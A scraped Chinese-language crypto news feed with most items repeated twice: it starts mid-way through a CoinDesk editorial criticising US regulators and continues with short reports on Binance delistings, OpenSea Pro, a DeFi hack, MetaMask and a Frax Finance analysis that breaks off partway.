Lummis-Gillibrand 的负责任金融创新法等拟议立法中已经制定了更合适的框架蓝图。我们和加密的大部分参与者都欢迎这样的清晰度，但监管机构和许多其他立法者似乎不愿意提供它。 CoinDesk几乎从不就问题采取正式立场。正如过去所指出的，我们通常只是传递事实，而不是对任何给定主题采取官方观点。但在这种情况下，我们的立场应该明确。 Coindesk社论领导层认为，由于美国最近的行动（无论这些行动是否有意），加密面临的威胁是真实存在的，我们需要代表具有潜在优势和经济赋权力量的技术和行业表明立场。 我们认为，监管机构的行动不会成功实现其保护美国人免受欺诈和诈骗的既定目标。早期的例子表明，它极有可能将技术创新推向美国境外。除其他影响外，这将使除了最内行的参与者之外的所有人无法将欺诈活动与合法的创新努力区分开来。 有迹象表明，打击行动超出了现行法律规定的监管机构的权限，并且违反了支撑美国和加密行业的自由和创新精神，我们对此感到震惊。 看起来监管机构正试图阻止加密公司访问传统的银行服务。前国会议员Barney Frank是 2008 年金融危机后更严格的银行业监管的设计者，他表示他担任董事会成员的 Signature Bank 被纽约金融服务部 (NYDFS) 强制清算，因为“监管机构想要发送一个非常强烈的反加密信息”，NYDFS否认了这一指控。 但这一说法似乎得到了银行当局近期举措的支持。3 月 16 日，路透社报道称，美国联邦存款保险公司 (FDIC) 要求 Signature Bank 的潜在买家放弃该银行的加密客户，实质上是拒绝为他们提供进一步的银行服务。FDIC 否认了这一点——但当交易完成时，加密货币客户确实被排除在收购之外。 一些人将这种 sub-rosa 行动称为“窒息点行动2.0”（Operation Choke Point） ——这显然是奥巴马时代流传下来的，该行动旨在将合法但在政治上不受欢迎的企业（包括枪支制造商和小额现金贷款人）踢出银行系统。这些措施似乎不仅规避了正当程序，而且重复了前几届政府已经受到立法者和法律制度严厉惩戒的违法行为。 值得注意的是，FDIC 现任负责人Martin Greunberg是最初的窒息点行动的设计师。 这些质疑最终迎来了一波诉讼和听证会，总的来说，这些诉讼和听证会得出的结论是政府滥用了权力。为了解决各种诉讼，FDIC 承诺进行内部改革，以防止对合法企业的监管过度，包括终止向银行提供有关客户选择的不成文建议，这一承诺的诚意现在看来值得怀疑。 CoinDesk 正在努力揭开最近事件背后的真实故事，并揭露美国是否真的存在协同攻击（Coordinated Attack）来扼杀加密行业。但滥用政府权力的现象足以引起人们的警觉，甚至在事情还未明朗之前。 必须将这种暗地里的反加密议程与针对使用户受害的加密骗局采取的法律行动区分开来。我们非常清楚，与之前的许多前沿技术一样，加密技术对欺诈者极具吸引力。我们对包括 Do Kwon 和 Sam Bankman-Fried 在内的涉嫌罪犯的起诉和可能的监禁表示赞同。我们积极努力阻止欺诈：CoinDesk 的报道揭露了 FTX 涉嫌大规模欺诈，我们在加密借贷机构 Celsius Network和 Terra倒闭之前警告投资者远离它们。 但否认加密工具的开发者和加密服务的创造者在美国银行管理其美元资金的能力并不是反欺诈措施。这是一个Daisy Cutter，可能的结果是“杀敌一千自损八百”。同样，未能为受监管的数字资产发行建立明确的框架，最终会使消费者和执法部门更难阻止欺诈行为，因为它消除了任何获得合法性的途径，即使是最合规的基于数字资产的项目也是如此。 这种扼杀加密的明显努力也产生了连锁反应。如前所述，银行官员明显不太愿意公开谈论加密货币或参加有关该主题的公开小组讨论，因为他们认为他们会以某种方式与监管机构发生冲突。因此，关于该行业未来的辩论有可能成为支持加密货币的“回声室”，而不是可以创造出真理和真正创新的熔炉。 还存在加密货币被政治化的风险。数字资产社区经常回避政党政治，更愿意坚持更大的自由和个人自治原则。事实上，建设性的两党加密立法提案在很大程度上已成为常态——最著名的是由参议员 Cynthia Lummis和 Kirsten Gillibrand发起的综合法案。但现在，政府反对加密货币的看法正威胁着破坏这种开放合作。人们对加密货币的看法可能很快取决于政治派别。如果发生这种情况，没有人会赢。 加密货币确实具有现实世界的用途和好处，包括作为世界各地面临镇压和暴力的人们的金融替代品。仅举一个例子，在俄罗斯入侵之后，加密货币使1 亿美元的援助迅速到达乌克兰——比传统的政府渠道转移的速度更快。 更广泛地说，加密货币已经成为一种工具的宣传纽带，这些工具可以抵制数字权力危险地集中在公司手中，这些公司的数据囤积使监视和审查成为他们的主要交易对象。监视垄断资本的崛起是许多立法者明显关注的话题，他们的权力银行监管者目前似乎正在篡夺。 虽然投机推动了数字资产的大部分市场活动（很像科技股市场），但它们的价格也受到当前用户实际需求的推动。每天都有数十亿美元的价值通过比特币网络在世界各地流动。 比特币和许多其他加密货币即使在全面、不分青红皂白的监管打击下也能在功能运作上毫发无损。这就是关键：这些系统的设计目标是让个人能够在数字时代控制自己的命运，与政府和企业结构分开。 在这方面，加密货币符合作为美国价值观的基本原则。美国宪法所载的宗教、言论自由和其他权利是在全世界传播自由的蓝图，它们帮助数百万人增加了人类的繁荣、幸福和财富。 现在，这些保护措施对许多美国人来说似乎很正常，但它们曾被老牌强国视为危险和破坏稳定的力量。时至今日，即使在美国的土地上，威权主义者也不断重蹈覆辙，通过审查和限制寻求安全的假象。 鉴于这一现实，使个人财务主权成为民主社会中理所当然的保护，就像今天的言论和宗教自由一样，显然仍有很长的路要走。我希望相信阴谋论的朋友最终被证明是错误的，拜登政府不是要扼杀加密货币。假设情况确实如此，白宫需要清楚地表明其积极意图。例如，它应该支持两党的努力，通过立法授权 SEC 制定与数字资产有关的证券法的明确指导方针。 来吧，请证明Harry错了。  ( 2 min )
    币安将于4月7日移除ACM/BTC等多个现货交易对
    PANews 4月5日消息，据官方公告，币安将于4月7日移除并停止ACM/BTC、ALICE/BNB、BAR/BTC、DOGE/RUB、ENJ/BNB、FTM/RUB、GMT/AUD、HOT/EUR、OMG/ETH、RUNE/TRY等现货交易对交易。  ( 1 min )
    币安将于4月7日移除ACM/BTC等多个现货交易对
    PANews 4月5日消息，据官方公告，币安将于4月7日移除并停止ACM/BTC、ALICE/BNB、BAR/BTC、DOGE/RUB、ENJ/BNB、FTM/RUB、GMT/AUD、HOT/EUR、OMG/ETH、RUNE/TRY等现货交易对交易。  ( 1 min )
    新Gem变身OpenSea Pro正面对决Blur
    撰文：Cookie，律动 BlockBeats 不久前的 3 月 29 日，Gem 宣布新通过了 50000 份 Gem V2 测试申请。一两天前，还有人在 Gem 的 Discord 服务器询问 Gem V2 测试资格的相关问题。 而今天，转变发生得是如此突然... 现在，NFT 交易聚合器曾经的王者 Genie 与 Gem 都不再是曾经的「容颜」，Genie 变成了 Uniswap NFT，而 Gem 则变成了 OpenSea Pro。 与此同时，Gem 也发布了 Gemesis NFT 系列以感谢 Gem 用户一路以来的支持，所有在 2023 年 3 月 31 日前使用过 Gem 购买 NFT 的用户都可以 Free Mint 1 个 Gemesis NFT（领取链接）。根据 OpenSea 的官方说明，使用 Gem 的时间越早，所得到的 Gemesis NFT 的「等级」将越高。此外，OpenSea 在官方说明中还提到了正在规划以 NFT 作为奖励的「社区奖励」，Gemesis NFT 不与「社区奖励」相关。 OpenSea Pro（Gem V2）有哪些亮点？笔者将此前一段时间使用 OpenSea Pro（Gem V2）的体验为您总结。 OpenSea 在官方的介绍视频中宣称 OpenSea Pro 有着最快的 NFT 系列实时数据更新。虽然没有列出具体的数据对比，但笔者在 Nakamigos 的公售结束后捡漏时使用了 OpenSea Pro，当时的体验比 Blur 更好（上架被列出得更快，图也加载得更快）。在撰文时笔者同样选择 Nakamigos 再次进行了对比，这次两者的实时数据流推送效率不相上下。 相比于 Blur，OpenSea Pro 还提供了 Mint 监测功能。通过这个功能，我们可以实时观测以太坊网络上新 NFT 项目的 Mint 趋势，对挖掘短线热门项目非常有帮助。OpenSea Pro 以外，Magically.gg 也有提供 Mint 监测功能。 Mint 监测功能更完善的用户体验 与 Blur 相比，OpenSea Pro 不仅专注于提升「交易层面的用户体验」，还保留了 OpenSea 上用户所需的一些基础功能，不「偏科」，玩的就是「全科」。除了「优化移动端体验」外，OpenSea Pro 还在以下方面下了功夫： Blur 还是太慢了。OpenSea Pro 与 Magically.gg 都支持 ERC-1155 NFT 系列，而 OpenSea Pro 在 ERC-1155 NFT 系列界面上设计得又远胜于 Magically.gg。 Nyan Balloon 有多种不同颜色的气球。在 OpenSea Pro 上，用户可以快速选定自己想要的气球颜色，并且给定购买数量，一目了然 Magically.gg 虽然也支持 ERC-1155 NFT 的「扫货」，但是非常不贴合玩家在购买 ERC-1155 NFT 时的需求Instant Sell 这个功能自动聚合了各 NFT 市场的最佳 Offer 使用户能够以最快的速度售出自己的 NFT。根据 OpenSea 官方的说法，OpenSea Pro 聚合了超过 170 个 NFT 市场，对于急需对自己的图片进行脱手的用户来说，Instant Sell 是一个相当不错的功能。 Instant Sell批量转移 Blur 与 Magically.gg 都没有给用户提供「转移 NFT」的功能，而 OpenSea Pro 则保留了 OpenSea 上的批量转移功能。在满足 Pro Traders「交易需求」的同时，也没有忘记所有 NFT 玩家都需要的基础功能。 批量转移Gas 优化 笔者在相同的 Gas 设置下在 Blur 与 OpenSea Pro 上分别尝试购买 2 个 Gemesis，Gas 的差距还是比较明显的。 OpenSea Pro 之前在 Gem V2 的页面上就已经有了「正在跟踪您在 Gem 上的活动以计分」的提示，现在 OpenSea Pro 的页面上该提示仍然存在。 关于计分的规则，Gem 团队一直守口如瓶，只在 Discord 透露过「买卖 NFT 不是唯一被计分的活动」。连 Gem V1 的活动是否会被计分，笔者也没有搜寻到明确的答案，只有「暂时没有相关信息」的回复。 「买卖 NFT 不是唯一被计分的活动」 至于这个奖励会是什么？NFT？还是 $GEM？这些都尚未可知，需要等待 OpenSea 官方的公告。 Gem 变身 OpenSea Pro，OpenSea 这回算是开始了对 Blur 的「正面反击」。Blur 刚刚遭遇了「双倍积分延长」的风波，面对 OpenSea Pro 的来势汹汹，应该会加快自己的步伐了。 OpenSea Pro 补足了 OpenSea 在「交易体验」上的短板，一定程度上反映出当前 NFT 市场之间「技术壁垒」并不高，也更明确了「交易体验」是现阶段各 NFT 交易市场需要下功夫去「卷」的重点。之前笔者一直在思考，OpenSea 手握 Gem 这张牌，但这两个产品需要怎样去融合？如今，OpenSea 给出了答案——Collectors 与 Traders 都是 NFT 市场中的重要群体，针对有着不同需求的群体，去提供不同形态的产品。OpenSea Pro 在现阶段将保持「0 手续费」以满足 Traders 高频交易的需求，而 OpenSea 则将恢复 2.5% 的手续费，并将专注于提升项目发现、帮助创作者更好地入驻与发行项目以及扩展更为大众接受的支付方式三方面的改进。 高手过招不仅好看，而且会促使高手们越来越强。NFT 市场的龙争虎斗中，我们收获了更好的使用体验，赚了，过瘾。  ( 3 min )
    新Gem变身OpenSea Pro正面对决Blur
    撰文：Cookie，律动 BlockBeats 不久前的 3 月 29 日，Gem 宣布新通过了 50000 份 Gem V2 测试申请。一两天前，还有人在 Gem 的 Discord 服务器询问 Gem V2 测试资格的相关问题。 而今天，转变发生得是如此突然... 现在，NFT 交易聚合器曾经的王者 Genie 与 Gem 都不再是曾经的「容颜」，Genie 变成了 Uniswap NFT，而 Gem 则变成了 OpenSea Pro。 与此同时，Gem 也发布了 Gemesis NFT 系列以感谢 Gem 用户一路以来的支持，所有在 2023 年 3 月 31 日前使用过 Gem 购买 NFT 的用户都可以 Free Mint 1 个 Gemesis NFT（领取链接）。根据 OpenSea 的官方说明，使用 Gem 的时间越早，所得到的 Gemesis NFT 的「等级」将越高。此外，OpenSea 在官方说明中还提到了正在规划以 NFT 作为奖励的「社区奖励」，Gemesis NFT 不与「社区奖励」相关。 OpenSea Pro（Gem V2）有哪些亮点？笔者将此前一段时间使用 OpenSea Pro（Gem V2）的体验为您总结。 OpenSea 在官方的介绍视频中宣称 OpenSea Pro 有着最快的 NFT 系列实时数据更新。虽然没有列出具体的数据对比，但笔者在 Nakamigos 的公售结束后捡漏时使用了 OpenSea Pro，当时的体验比 Blur 更好（上架被列出得更快，图也加载得更快）。在撰文时笔者同样选择 Nakamigos 再次进行了对比，这次两者的实时数据流推送效率不相上下。 相比于 Blur，OpenSea Pro 还提供了 Mint 监测功能。通过这个功能，我们可以实时观测以太坊网络上新 NFT 项目的 Mint 趋势，对挖掘短线热门项目非常有帮助。OpenSea Pro 以外，Magically.gg 也有提供 Mint 监测功能。 Mint 监测功能更完善的用户体验 与 Blur 相比，OpenSea Pro 不仅专注于提升「交易层面的用户体验」，还保留了 OpenSea 上用户所需的一些基础功能，不「偏科」，玩的就是「全科」。除了「优化移动端体验」外，OpenSea Pro 还在以下方面下了功夫： Blur 还是太慢了。OpenSea Pro 与 Magically.gg 都支持 ERC-1155 NFT 系列，而 OpenSea Pro 在 ERC-1155 NFT 系列界面上设计得又远胜于 Magically.gg。 Nyan Balloon 有多种不同颜色的气球。在 OpenSea Pro 上，用户可以快速选定自己想要的气球颜色，并且给定购买数量，一目了然 Magically.gg 虽然也支持 ERC-1155 NFT 的「扫货」，但是非常不贴合玩家在购买 ERC-1155 NFT 时的需求Instant Sell 这个功能自动聚合了各 NFT 市场的最佳 Offer 使用户能够以最快的速度售出自己的 NFT。根据 OpenSea 官方的说法，OpenSea Pro 聚合了超过 170 个 NFT 市场，对于急需对自己的图片进行脱手的用户来说，Instant Sell 是一个相当不错的功能。 Instant Sell批量转移 Blur 与 Magically.gg 都没有给用户提供「转移 NFT」的功能，而 OpenSea Pro 则保留了 OpenSea 上的批量转移功能。在满足 Pro Traders「交易需求」的同时，也没有忘记所有 NFT 玩家都需要的基础功能。 批量转移Gas 优化 笔者在相同的 Gas 设置下在 Blur 与 OpenSea Pro 上分别尝试购买 2 个 Gemesis，Gas 的差距还是比较明显的。 OpenSea Pro 之前在 Gem V2 的页面上就已经有了「正在跟踪您在 Gem 上的活动以计分」的提示，现在 OpenSea Pro 的页面上该提示仍然存在。 关于计分的规则，Gem 团队一直守口如瓶，只在 Discord 透露过「买卖 NFT 不是唯一被计分的活动」。连 Gem V1 的活动是否会被计分，笔者也没有搜寻到明确的答案，只有「暂时没有相关信息」的回复。 「买卖 NFT 不是唯一被计分的活动」 至于这个奖励会是什么？NFT？还是 $GEM？这些都尚未可知，需要等待 OpenSea 官方的公告。 Gem 变身 OpenSea Pro，OpenSea 这回算是开始了对 Blur 的「正面反击」。Blur 刚刚遭遇了「双倍积分延长」的风波，面对 OpenSea Pro 的来势汹汹，应该会加快自己的步伐了。 OpenSea Pro 补足了 OpenSea 在「交易体验」上的短板，一定程度上反映出当前 NFT 市场之间「技术壁垒」并不高，也更明确了「交易体验」是现阶段各 NFT 交易市场需要下功夫去「卷」的重点。之前笔者一直在思考，OpenSea 手握 Gem 这张牌，但这两个产品需要怎样去融合？如今，OpenSea 给出了答案——Collectors 与 Traders 都是 NFT 市场中的重要群体，针对有着不同需求的群体，去提供不同形态的产品。OpenSea Pro 在现阶段将保持「0 手续费」以满足 Traders 高频交易的需求，而 OpenSea 则将恢复 2.5% 的手续费，并将专注于提升项目发现、帮助创作者更好地入驻与发行项目以及扩展更为大众接受的支付方式三方面的改进。 高手过招不仅好看，而且会促使高手们越来越强。NFT 市场的龙争虎斗中，我们收获了更好的使用体验，赚了，过瘾。  ( 3 min )
    DeFi借贷协议Sentiment被盗100万美元，官方团队正在调查
    PANews 4月5日消息，据PeckShield监测，DeFi借贷协议Sentiment今日凌晨在Arbitrum网络被盗约100万美元，根本原因在于Balancer的只读可重入性。Sentiment官方推发文称，目前正在调查Sentiment协议被盗资金。Sentiment已经采取措施找出漏洞的根本原因，并降低进一步损失的风险。同时团队正与执法部门保持联系，并一直在与第三方审计机构和安全公司合作。此外，其首要任务是是确保剩余资金的安全，追回被盗资金。  ( 1 min )
    DeFi借贷协议Sentiment被盗100万美元，官方团队正在调查
    PANews 4月5日消息，据PeckShield监测，DeFi借贷协议Sentiment今日凌晨在Arbitrum网络被盗约100万美元，根本原因在于Balancer的只读可重入性。Sentiment官方推发文称，目前正在调查Sentiment协议被盗资金。Sentiment已经采取措施找出漏洞的根本原因，并降低进一步损失的风险。同时团队正与执法部门保持联系，并一直在与第三方审计机构和安全公司合作。此外，其首要任务是是确保剩余资金的安全，追回被盗资金。  ( 1 min )
    知名投资人Kevin O'Leary：加密交易所不应起诉监管机构
    PANews 4月5日消息，据CoinDesk报道，知名投资人Kevin O'Leary周二接受采访时表示，加密交易所不应该对监管机构采取法律行动，起诉监管机构是愚蠢的。他指出，在Coinbase的案例中，与监管机构“坐下来解决问题更好”，如果“美国监管机构不希望交易所提供质押或贷款，那就这样吧。”O'Leary表示，Coinbase对监管机构的反击最终可能对他们不利。  ( 1 min )
    知名投资人Kevin O'Leary：加密交易所不应起诉监管机构
    PANews 4月5日消息，据CoinDesk报道，知名投资人Kevin O'Leary周二接受采访时表示，加密交易所不应该对监管机构采取法律行动，起诉监管机构是愚蠢的。他指出，在Coinbase的案例中，与监管机构“坐下来解决问题更好”，如果“美国监管机构不希望交易所提供质押或贷款，那就这样吧。”O'Leary表示，Coinbase对监管机构的反击最终可能对他们不利。  ( 1 min )
    MetaMask最新版本插件钱包将支持NFT视图
    PANews 4月5日消息，MetaMask推特宣布在最新版本 v10.28插件钱包支持NFT视图。用户只要启用NFT自动检测功能，将会展示所有ERC-721 和 1155代币。MetaMask现已支持发送 ERC-721代币，并将很快支持发送 ERC-1155代币。  ( 1 min )
    MetaMask最新版本插件钱包将支持NFT视图
    PANews 4月5日消息，MetaMask推特宣布在最新版本 v10.28插件钱包支持NFT视图。用户只要启用NFT自动检测功能，将会展示所有ERC-721 和 1155代币。MetaMask现已支持发送 ERC-721代币，并将很快支持发送 ERC-1155代币。  ( 1 min )
    解读LSD“后来者”Frax Finance：如何通过产品套件构建增长飞轮？
    原文作者：ZhouYeMen 编译：LlamaC Frax Finance 最初是一种混合算法稳定币协议，经过几年的运营，在竞争激励的稳定币赛道成功存活了下来。 在 2023 年初凭借其 Liquid Staking Derivative (LSD) 产品 frxETH 再次成为人们关注的焦点。随着 LSD 叙事的泛滥，Frax 凭借其创新的双代币系统成为亮眼的赢家之一。 frxETH 将表明Frax 如何最终成为一个稳定币协议，其目标是增加其稳定币系列（FRAX、frxETH、FPI）的货币溢价。这些稳定币将得到 Frax 的 “三位一体” DeFi 原语（如 Fraxswap 和 Fraxlend）的采用。最近，Frax 投票决定将其旗舰稳定币 100% 抵押，标志着其部分抵押时代的结束。 FRAX 的支持主要由其 AMO 组成，这些 AMO 使其闲置的 USDC 抵押品发挥作用。目前，运营的最大 AMO 是 Curve AMO，它拥有数亿美元的 TVL。虽然 FXS 支持的抵押率由市场决定，但 Frax 的 AMO 会调整 FRAX 的供应以维持价格稳定。这类似于中央银行为其经济进行的公开货币操作。 AMO：有几个 AMO 负责不同的操作。Liquidity 和 Curve AMO 将闲置的 USDC 抵押品和铸币 FRAX 部署到不同的 DEX 中，以创造流动性并锚定挂钩。因此，Frax 赚取从 LP 头寸产生的交易收入以及发放到池中的奖励。目前，Frax 在 Curve 上拥有 99.9% 的 Frax-3CRV 矿池和 58.5% 的 Frax Base Pool (FRAXBP)。这是 DEX 上最大的两个稳定币矿池，这使得 Frax 拥有强大的协议拥有流动性（POL）储备和持续的收入来源。有了这个模型，FRAX 没有与 USDC 脱钩，即使在 UST 崩盘期间也是如此。 Convex AMO 和农业飞轮：Frax 的投资者 AMO 拥有 355 万个 CVX 代币，约占所有锁定 CVX 代币的 6.5%。这使得 FRAX 能够将 CRV 激励措施引导至 Frax 选定的资金池，并加深 FRAX 和任何以 FRAX 计价的交易对的流动性。由于 Frax 拥有 Frax-3CRV 和 FRAXBP 矿池的大部分，他们获得了发出的 CRV 和 CVX 奖励。Frax 还贿赂 vlCVX 持有者，因为每 1 美元的投票奖励会带来 1.11 美元（截至 2023 年 12 月 2 日）的排放量。由于其 POL 和 AMO，这是只有 Frax 才能实现的飞轮。 Frax 的净收益高度依赖于 CRV、CVX 和 FXS 的价格。在 2021 年 1 月这 3 个代币的价格达到了其峰值期。最近几个月，净收益一直处于收支平衡状态，但对协议来说仍然是净利好，因为它们基本上是在免费贿赂矿池（免费流动性）。因此，这个农业飞轮允许 Frax 持续贿赂并返还奖励。 Frax 基础池 (FRAXBP)：Frax 能够保护 Curve 元池，它由FRAX-USDC组成，可用于与其他资产配对，类似于 3CRV（USDT / USDC / DAI）。Frax 通过使用 Frax 的 CVX/CRV 持有的贿赂来激励协议与他们合作，以根据其与 FRAXBP 总 TVL 的比例大小来增加对矿池的激励。随着使用 FRAXBP 创建更多交易对，这增加了对 FRAX 的用例和需求。因此，FRAXBP 帮助 Frax 建立护城河，并将自己确立为 Curve 上的中央流动性中心。 Frax 使用双代币模型 frxETH 和 sfrxETH 来提供独特的 LSD 产品。frxETH 充当与 ETH 挂钩的稳定币，不赚取任何收益，而 sfrxETH 从质押中获得所有收益。 卓越的代币模型：与其他 LSD 协议相比，Frax 采用的双代币模型可确保 sfrxETH 获得更高的质押收益。这是因为 frxETH 持有者放弃了他们的抵押收益，而不是部署到 Curve 流动性池中以获得奖励。Curve LP 在过去 3 个月的年利率为 7-10%，而 sfrxETH 的年利率为 6-8%。根据当前的 frxETH 供应量，1 sfrxETH 可获得相当于 1.974 ETH 的质押 APR，这就是将 ETH 与 FraETH质押可提供更高收益的原因。在短短四个月内，该系统帮助 Frax 跻身 LSD 排行榜前列，并保持着每 30 天 15-22%的增长率。Frax 之所以能够可持续地执行这一战略，是因为其持有的 Curve 和 Convex 资产用于将激励直接指向 frxETH-ETH 池。最后，运营 LSD 的 Frax 费用为 10%，8% 给 veFXS 持有者，2% 给保险基金。 frxETH 铸币厂：frxETH 保留一定比例的ETH 兑换成 frxETH（Frax 持有 frxETH 总量的 17.617%）。这些资金被添加到 Curve 流动性池中以增加流动性深度。此外，Frax 从它贿赂和播种流动性的池中获得奖励。它是类似于曲线和流动性 AMO 的飞轮。 Frax 每月使用 54.95 万美元来激励 Curve 流动资金池，同时发放 75 万美元的奖励，其中包括 38.23 万美元的 FXS。虽然 Rocketpool 的原生代币发行效率稍高，但这是由于 Aura 的引导阶段。Frax 将很快开始使用Aura 贿赂，减少 FXS 排放，因为目前对 Aura 的贿赂会产生更高的回报。因此，随着 Balancer 上流动性的增加（减少 FXS 的抛售压力），Frax 可以减少对 Votium 的贿赂。 Frax 的治理代币 FXS 使用 Curve 的 ve 代币锁定模型，称为 veFXS。目前，41.22%的供应量被锁定。与 Curve 一样，FXS 仪表也可以被贿赂。然而，目前的贿赂数额可以忽略不计。veFXS 持有者有权获得 100% 的 AMO 收入和 frxETH 收入（此时未分配）。veFXS 持有人的当前收益率为 1.83% APR。一旦 Frax 开始分配 frxETH 费用，这应该会急剧增加 veFXS 的 APR。 对其他产品的吸引力低：与直接竞争对手（Aave 和 Curve）相比，Fraxswap 和 Fraxlend 的 TVL 可以忽略不计。然而，这是可以理解的，因为这些产品主要是为了满足 Frax 作为稳定币协议的特定需求而构建的。目前，sfrxETH 可以作为抵押品借入 FRAX 并建立质押收益率杠杆。这使得 Frax 可以获得贷款费用收入，不像 Lido 将其外包给 AAVE。随着 Frax 的持续增长，Fraxswap 和 Fraxlend 将成为关键的基础设施。这些产品将提供给更多面向公众的用户，与 Curve 和 Uniswap 相比，FRAX 在 Fraxswap 上的流动性可能更深。   潜在催化剂 Ethereum Shanghai 升级将导致更多的 ETH 被 Frax 抵押，并导致协议的费用收入更高。 Lido 的 ETH 质押优势威胁到以太坊的安全生态系统，并导致用户涌向其他 LSD 协议。 Frax 的核心任务是构建稳定币，并将很快推出 frxBTC。 Frax 计划用 frxETH 取代 WETH 作为 LP 的主要 ETH 配对。 当 Frax 开始向 veFXS 持有者分配 8% 的 sfrxETH 费用时，它将显着提高收益率。 上表是目前排名前 4 的 LSD 协议的市盈率。Frax 由于其高 FDV 而表现最差。但是，应该注意的是，Frax 不仅提供 LSD 服务，而且还拥有其他产品，稳定币发行量为 $1.51B。Frax 是唯一一个与原生代币具有收益分享模型的协议，其中 veFXS 持有者有权获得 8% 的抵押收益。随着 frxETH 在短短 4 个月内获得 1.62% 的市场份额的惊人增长来看，很明显，只要 frxETH 的收益率高于其竞争对手，它就会继续增长。 让我们看一下未来 2 年 LSD 协议的预测。 突出显示的 frxETH 市盈率是 frxETH 可能实现的保守估计。在 2023 年底和 4% 的市场份额下，Frax 的 P/S 比率是当前 P/S 比率的 1/4，该值更接近其竞争对手。RocketPool 由于其高市场份额和费用而拥有最好的 P/S，但随着分布式验证器技术 (DVT) 的加入，去中心化质押的 Rocketpool 模型似乎可能会过时。考虑到潜在的催化剂，我相信随着越来越多的产品使用 frxETH 构建，Frax 甚至可能会超过 2024 年和 2025 年的保守估计。 LSD 协议在 1 月份受到了相当多的关注，但由于 AI 和 ZK 的叙述迅速流行，叙述被缩短了。由于我们所处的 PvP 市场环境，LSD 协议被丢弃用于下一个在 Crypto Twitter 上流传的叙述。LDO、FXS 和 RPL 在此期间表现不佳。因此，这可能是在 LSD 叙事全面展开之前积累 FXS 的好机会。 随着上海升级的临近，所有的目光都将集中在 ETH 及其所有 LSD 协议上，作为该活动的直接测试版。目前，由于质押的 ETH 存在锁定和挂钩偏差，许多用户并未质押 ETH。只有 15% 的 ETH 被质押，而其他 L1 的质押量超过 30%。由于 Lido 占据了约 30% 的抵押 ETH 供应量，这将构成许多以太坊观察者标记的潜在风险。因此，虽然 frxETH 是收益最高的 LSD，但对于许多在上海升级之后转储的人来说，它可能是一个有吸引力的选择。frxETH-ETH LP 将能够在升级后立即处理任何流出，并且应该随着未来的流入而扩展（frxETH Minter）。这反过来又会通过质押和 LPing 为 Frax 产生更多费用。 Frax 是 ETH 和 BTC 的主要稳定币发行人，这是它为什么会跑赢 ETH 的最大看涨因素。为了取代 WETH，Frax 必须与 frxETH 创建交易对，并激励协议与 frxETH 配对。Frax 拥有资产 (CVX) 和强大的 Frax 稳定币储备，他们可以依靠它们。使用 FRAXBP 作为约 7 亿美元的 TVL 或 Frax 流动性 AMO 可以根据协议抵押率铸造 Frax 以创建飞轮，如下所示： 一旦 frxETH 与代币配对，上述飞轮就会发挥作用，从而对 Frax 生态系统产生净积极影响。 最重要的是，Frax 将其他 LSD 协议视为合作者，并宣布了 Curve 上其他 LSD 的 WETHR 计划。对于 frxBTC，没有任何信息，但对 Frax 的可能影响是对 FRAX 或 FRAXBP 的需求增加以及可能将其集成到 Frax 的飞轮中。 更换 WETH 和 WBTC 是一项极其艰巨的工作，但 Frax 团队始终如一，从他们的全套产品中可以看出。押注 FXS 相当于押注整个 DeFi 生态系统（FRAX、frxETH、Fraxswap、Fraxlend、Fraxferry (Bridge)、FPI）。所有这些产品和原语都是 Frax 生态系统的一部分，将有助于将其立足点扩展到其他网络。 总而言之，FXS 能够跑赢 ETH 的主要因素是来自上海升级的关注和更广泛的 LSD 叙述。随着 frxETH 积累更多的市场份额，Frax 将拥有健康的收入来源，巩固 FXS 作为创收代币的地位。 免责声明：这是一篇客座文章，不代表 Flywheel DeFi 的观点或意见，不是财务或税务建议。本文纯属教育性质，并非投资建议或买卖任何资产或做出任何财务决定的诱导。这篇文章不是税务建议。与您的会计师交谈。做你自己的研究。  ( 6 min )
    解读LSD“后来者”Frax Finance：如何通过产品套件构建增长飞轮？
    原文作者：ZhouYeMen 编译：LlamaC Frax Finance 最初是一种混合算法稳定币协议，经过几年的运营，在竞争激励的稳定币赛道成功存活了下来。 在 2023 年初凭借其 Liquid Staking Derivative (LSD) 产品 frxETH 再次成为人们关注的焦点。随着 LSD 叙事的泛滥，Frax 凭借其创新的双代币系统成为亮眼的赢家之一。 frxETH 将表明Frax 如何最终成为一个稳定币协议，其目标是增加其稳定币系列（FRAX、frxETH、FPI）的货币溢价。这些稳定币将得到 Frax 的 “三位一体” DeFi 原语（如 Fraxswap 和 Fraxlend）的采用。最近，Frax 投票决定将其旗舰稳定币 100% 抵押，标志着其部分抵押时代的结束。 FRAX 的支持主要由其 AMO 组成，这些 AMO 使其闲置的 USDC 抵押品发挥作用。目前，运营的最大 AMO 是 Curve AMO，它拥有数亿美元的 TVL。虽然 FXS 支持的抵押率由市场决定，但 Frax 的 AMO 会调整 FRAX 的供应以维持价格稳定。这类似于中央银行为其经济进行的公开货币操作。 AMO：有几个 AMO 负责不同的操作。Liquidity 和 Curve AMO 将闲置的 USDC 抵押品和铸币 FRAX 部署到不同的 DEX 中，以创造流动性并锚定挂钩。因此，Frax 赚取从 LP 头寸产生的交易收入以及发放到池中的奖励。目前，Frax 在 Curve 上拥有 99.9% 的 Frax-3CRV 矿池和 58.5% 的 Frax Base Pool (FRAXBP)。这是 DEX 上最大的两个稳定币矿池，这使得 Frax 拥有强大的协议拥有流动性（POL）储备和持续的收入来源。有了这个模型，FRAX 没有与 USDC 脱钩，即使在 UST 崩盘期间也是如此。 Convex AMO 和农业飞轮：Frax 的投资者 AMO 拥有 355 万个 CVX 代币，约占所有锁定 CVX 代币的 6.5%。这使得 FRAX 能够将 CRV 激励措施引导至 Frax 选定的资金池，并加深 FRAX 和任何以 FRAX 计价的交易对的流动性。由于 Frax 拥有 Frax-3CRV 和 FRAXBP 矿池的大部分，他们获得了发出的 CRV 和 CVX 奖励。Frax 还贿赂 vlCVX 持有者，因为每 1 美元的投票奖励会带来 1.11 美元（截至 2023 年 12 月 2 日）的排放量。由于其 POL 和 AMO，这是只有 Frax 才能实现的飞轮。 Frax 的净收益高度依赖于 CRV、CVX 和 FXS 的价格。在 2021 年 1 月这 3 个代币的价格达到了其峰值期。最近几个月，净收益一直处于收支平衡状态，但对协议来说仍然是净利好，因为它们基本上是在免费贿赂矿池（免费流动性）。因此，这个农业飞轮允许 Frax 持续贿赂并返还奖励。 Frax 基础池 (FRAXBP)：Frax 能够保护 Curve 元池，它由FRAX-USDC组成，可用于与其他资产配对，类似于 3CRV（USDT / USDC / DAI）。Frax 通过使用 Frax 的 CVX/CRV 持有的贿赂来激励协议与他们合作，以根据其与 FRAXBP 总 TVL 的比例大小来增加对矿池的激励。随着使用 FRAXBP 创建更多交易对，这增加了对 FRAX 的用例和需求。因此，FRAXBP 帮助 